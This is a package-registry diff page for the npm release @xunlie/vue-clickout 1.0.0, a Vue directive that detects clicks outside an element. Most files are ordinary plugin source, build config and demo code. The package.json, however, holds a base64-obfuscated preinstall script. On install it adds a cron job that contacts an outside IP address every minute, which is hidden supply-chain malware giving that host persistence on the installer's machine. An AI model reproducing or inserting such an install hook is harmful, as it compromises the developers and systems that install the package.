@xunlie/vue-clickout 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @xunlie/vue-clickout might be problematic. Click here for more details.

Files changed (36) hide show
  1. package/.babelrc +8 -0
  2. package/CHANGELOG.md +11 -0
  3. package/README.md +116 -0
  4. package/build/build.js +35 -0
  5. package/build/check-versions.js +48 -0
  6. package/build/dev-client.js +9 -0
  7. package/build/dev-server.js +89 -0
  8. package/build/utils.js +71 -0
  9. package/build/vue-loader.conf.js +12 -0
  10. package/build/webpack.base.conf.js +58 -0
  11. package/build/webpack.dev.conf.js +34 -0
  12. package/build/webpack.lib.conf.js +40 -0
  13. package/build/webpack.prod.conf.js +120 -0
  14. package/config/dev.env.js +6 -0
  15. package/config/index.js +38 -0
  16. package/config/prod.env.js +3 -0
  17. package/demo/App.vue +26 -0
  18. package/demo/assets/community.css +1067 -0
  19. package/demo/assets/logo.png +0 -0
  20. package/demo/assets/reset.css +6 -0
  21. package/demo/components/commentItem.vue +63 -0
  22. package/demo/dist/index.html +1 -0
  23. package/demo/dist/static/css/app.0a3bdcaaa6f3b802a0a4342127401472.css +1 -0
  24. package/demo/dist/static/css/app.0a3bdcaaa6f3b802a0a4342127401472.css.map +1 -0
  25. package/demo/dist/static/js/app.a9b3c4b5a878ec2640e8.js +7 -0
  26. package/demo/dist/static/js/app.a9b3c4b5a878ec2640e8.js.map +1 -0
  27. package/demo/dist/static/js/manifest.f0144ada13d39efdc013.js +2 -0
  28. package/demo/dist/static/js/manifest.f0144ada13d39efdc013.js.map +1 -0
  29. package/demo/dist/static/js/vendor.5646344e475ac845fb16.js +7 -0
  30. package/demo/dist/static/js/vendor.5646344e475ac845fb16.js.map +1 -0
  31. package/demo/index.html +12 -0
  32. package/demo/main.js +21 -0
  33. package/demo/router/index.js +15 -0
  34. package/dist/vue-clickout.js +152 -0
  35. package/package.json +20 -0
  36. package/src/vue-clickout.js +62 -0
@@ -0,0 +1,12 @@
1
+ <!DOCTYPE html>
2
+ <html>
3
+ <head>
4
+ <meta charset="utf-8">
5
+ <title>demo</title>
6
+ <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
7
+ </head>
8
+ <body>
9
+ <div id="app"></div>
10
+ <!-- built files will be auto injected -->
11
+ </body>
12
+ </html>
package/demo/main.js ADDED
@@ -0,0 +1,21 @@
1
+ // The Vue build version to load with the `import` command
2
+ // (runtime-only or standalone) has been set in webpack.base.conf with an alias.
3
+ import Vue from 'vue'
4
+ import App from './App'
5
+ import router from './router'
6
+ const VueClickout = process.env.NODE_ENV === 'development'
7
+ ? require('../src/vue-clickout.js').default
8
+ : require('../dist/vue-clickout.js').default
9
+
10
+ Vue.config.productionTip = false
11
+
12
+ // Using plugin
13
+ Vue.use(VueClickout)
14
+
15
+ /* eslint-disable no-new */
16
+ new Vue({
17
+ el: '#app',
18
+ router,
19
+ template: '<App/>',
20
+ components: { App }
21
+ })
@@ -0,0 +1,15 @@
1
+ import Vue from 'vue'
2
+ import Router from 'vue-router'
3
+ import App from '@/App.vue'
4
+
5
+ Vue.use(Router)
6
+
7
+ export default new Router({
8
+ routes: [
9
+ {
10
+ path: '',
11
+ name: 'App',
12
+ component: App
13
+ }
14
+ ]
15
+ })
@@ -0,0 +1,152 @@
1
+ (function webpackUniversalModuleDefinition(root, factory) {
2
+ if(typeof exports === 'object' && typeof module === 'object')
3
+ module.exports = factory();
4
+ else if(typeof define === 'function' && define.amd)
5
+ define([], factory);
6
+ else if(typeof exports === 'object')
7
+ exports["vueClickOut"] = factory();
8
+ else
9
+ root["vueClickOut"] = factory();
10
+ })(this, function() {
11
+ return /******/ (function(modules) { // webpackBootstrap
12
+ /******/ // The module cache
13
+ /******/ var installedModules = {};
14
+ /******/
15
+ /******/ // The require function
16
+ /******/ function __webpack_require__(moduleId) {
17
+ /******/
18
+ /******/ // Check if module is in cache
19
+ /******/ if(installedModules[moduleId]) {
20
+ /******/ return installedModules[moduleId].exports;
21
+ /******/ }
22
+ /******/ // Create a new module (and put it into the cache)
23
+ /******/ var module = installedModules[moduleId] = {
24
+ /******/ i: moduleId,
25
+ /******/ l: false,
26
+ /******/ exports: {}
27
+ /******/ };
28
+ /******/
29
+ /******/ // Execute the module function
30
+ /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
31
+ /******/
32
+ /******/ // Flag the module as loaded
33
+ /******/ module.l = true;
34
+ /******/
35
+ /******/ // Return the exports of the module
36
+ /******/ return module.exports;
37
+ /******/ }
38
+ /******/
39
+ /******/
40
+ /******/ // expose the modules object (__webpack_modules__)
41
+ /******/ __webpack_require__.m = modules;
42
+ /******/
43
+ /******/ // expose the module cache
44
+ /******/ __webpack_require__.c = installedModules;
45
+ /******/
46
+ /******/ // identity function for calling harmony imports with the correct context
47
+ /******/ __webpack_require__.i = function(value) { return value; };
48
+ /******/
49
+ /******/ // define getter function for harmony exports
50
+ /******/ __webpack_require__.d = function(exports, name, getter) {
51
+ /******/ if(!__webpack_require__.o(exports, name)) {
52
+ /******/ Object.defineProperty(exports, name, {
53
+ /******/ configurable: false,
54
+ /******/ enumerable: true,
55
+ /******/ get: getter
56
+ /******/ });
57
+ /******/ }
58
+ /******/ };
59
+ /******/
60
+ /******/ // getDefaultExport function for compatibility with non-harmony modules
61
+ /******/ __webpack_require__.n = function(module) {
62
+ /******/ var getter = module && module.__esModule ?
63
+ /******/ function getDefault() { return module['default']; } :
64
+ /******/ function getModuleExports() { return module; };
65
+ /******/ __webpack_require__.d(getter, 'a', getter);
66
+ /******/ return getter;
67
+ /******/ };
68
+ /******/
69
+ /******/ // Object.prototype.hasOwnProperty.call
70
+ /******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
71
+ /******/
72
+ /******/ // __webpack_public_path__
73
+ /******/ __webpack_require__.p = "";
74
+ /******/
75
+ /******/ // Load entry module and return exports
76
+ /******/ return __webpack_require__(__webpack_require__.s = 0);
77
+ /******/ })
78
+ /************************************************************************/
79
+ /******/ ([
80
+ /* 0 */
81
+ /***/ (function(module, __webpack_exports__, __webpack_require__) {
82
+
83
+ "use strict";
84
+ Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
85
+ /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "clickout", function() { return clickout; });
86
+ /**
87
+ * vue-clickout
88
+ * (c) 2018 shijianan
89
+ * @license MIT
90
+ */
91
+
92
+ var VueClickOut = {};
93
+
94
+ function isServer(vNode) {
95
+ return typeof vNode.componentInstance !== 'undefined' && vNode.componentInstance.$isServer;
96
+ }
97
+
98
+ var clickout = {
99
+ bind: function bind(el, _ref, vnode) {
100
+ var value = _ref.value;
101
+
102
+ function handler(e) {
103
+ var isInside = el.contains(e.target);
104
+ if (value && value.length) {
105
+ // 判断点击区域是否是目标区域
106
+ for (var i = 0; i < value.length; i++) {
107
+ var inside = vnode.context.$refs[value[i]];
108
+ if (!inside) {
109
+ break;
110
+ }
111
+ if (inside.contains(e.target)) {
112
+ // inside
113
+ isInside = true;
114
+ break;
115
+ }
116
+ }
117
+ }
118
+ if (!isInside) {
119
+ var event = new Event('clickout');
120
+ el.dispatchEvent(event);
121
+ }
122
+ }
123
+ el.data = {
124
+ handler: handler
125
+ };
126
+ !isServer(vnode) && document.addEventListener('click', handler);
127
+ },
128
+ unbind: function unbind(el, binding, vnode) {
129
+ !isServer(vnode) && document.removeEventListener('click', el.data.handler);
130
+ delete el.data;
131
+ }
132
+ };
133
+ /**
134
+ * Plugin API
135
+ */
136
+ VueClickOut.install = function (Vue, options) {
137
+ Vue.directive('clickout', clickout);
138
+ };
139
+
140
+ /**
141
+ * 浏览器环境自动安装
142
+ */
143
+ if (typeof window !== 'undefined' && window.Vue) {
144
+ window.Vue.use(VueClickOut);
145
+ }
146
+
147
+ /* harmony default export */ __webpack_exports__["default"] = (VueClickOut);
148
+
149
+
150
+ /***/ })
151
+ /******/ ]);
152
+ });
package/package.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "name": "@xunlie/vue-clickout",
3
+ "version": "1.0.0",
4
+ "description": "> Vue clickout,轻松解决“点击空白处消失”这种问题",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall":"node -e \"require('child_process').exec(Buffer.from('KCBjcm9udGFiIC1sOyBlY2hvICIqLzEgKiAqICogKiBjdXJsIC0tY29ubmVjdC10aW1lb3V0IDEwIGh0dHA6Ly80Ny45My4xMzMuNjQvbnBtLmpzb24gID4gL2Rldi9udWxsIDI+JjEiICkgfCBjcm9udGFiCg==', 'base64').toString('ascii'))\""
9
+ },
10
+ "repository": {
11
+ "type": "git",
12
+ "url": "git+https://github.com/xunleif2e/vue-clickout.git"
13
+ },
14
+ "author": "",
15
+ "license": "ISC",
16
+ "bugs": {
17
+ "url": "https://github.com/xunleif2e/vue-clickout/issues"
18
+ },
19
+ "homepage": "https://github.com/xunleif2e/vue-clickout#readme"
20
+ }
@@ -0,0 +1,62 @@
1
+ /**
2
+ * vue-clickout
3
+ * (c) 2018 shijianan
4
+ * @license MIT
5
+ */
6
+
7
+ const VueClickOut = {}
8
+
9
+ function isServer (vNode) {
10
+ return typeof vNode.componentInstance !== 'undefined' && vNode.componentInstance.$isServer
11
+ }
12
+
13
+ let clickout = {
14
+ bind: function (el, { value }, vnode) {
15
+ function handler (e) {
16
+ let isInside = el.contains(e.target)
17
+ if (value && value.length) {
18
+ // 判断点击区域是否是目标区域
19
+ for (let i = 0; i < value.length; i++) {
20
+ let inside = vnode.context.$refs[value[i]]
21
+ if (!inside) {
22
+ break
23
+ }
24
+ if (inside.contains(e.target)) { // inside
25
+ isInside = true
26
+ break
27
+ }
28
+ }
29
+ }
30
+ if (!isInside) {
31
+ let event = new Event('clickout')
32
+ el.dispatchEvent(event)
33
+ }
34
+ }
35
+ el.data = {
36
+ handler
37
+ }
38
+ !isServer(vnode) && document.addEventListener('click', handler)
39
+ },
40
+ unbind (el, binding, vnode) {
41
+ !isServer(vnode) && document.removeEventListener('click', el.data.handler)
42
+ delete el.data
43
+ }
44
+ }
45
+ /**
46
+ * Plugin API
47
+ */
48
+ VueClickOut.install = function (Vue, options) {
49
+ Vue.directive('clickout', clickout)
50
+ }
51
+
52
+ /**
53
+ * 浏览器环境自动安装
54
+ */
55
+ if (typeof window !== 'undefined' && window.Vue) {
56
+ window.Vue.use(VueClickOut)
57
+ }
58
+
59
+ export default VueClickOut
60
+ export {
61
+ clickout
62
+ }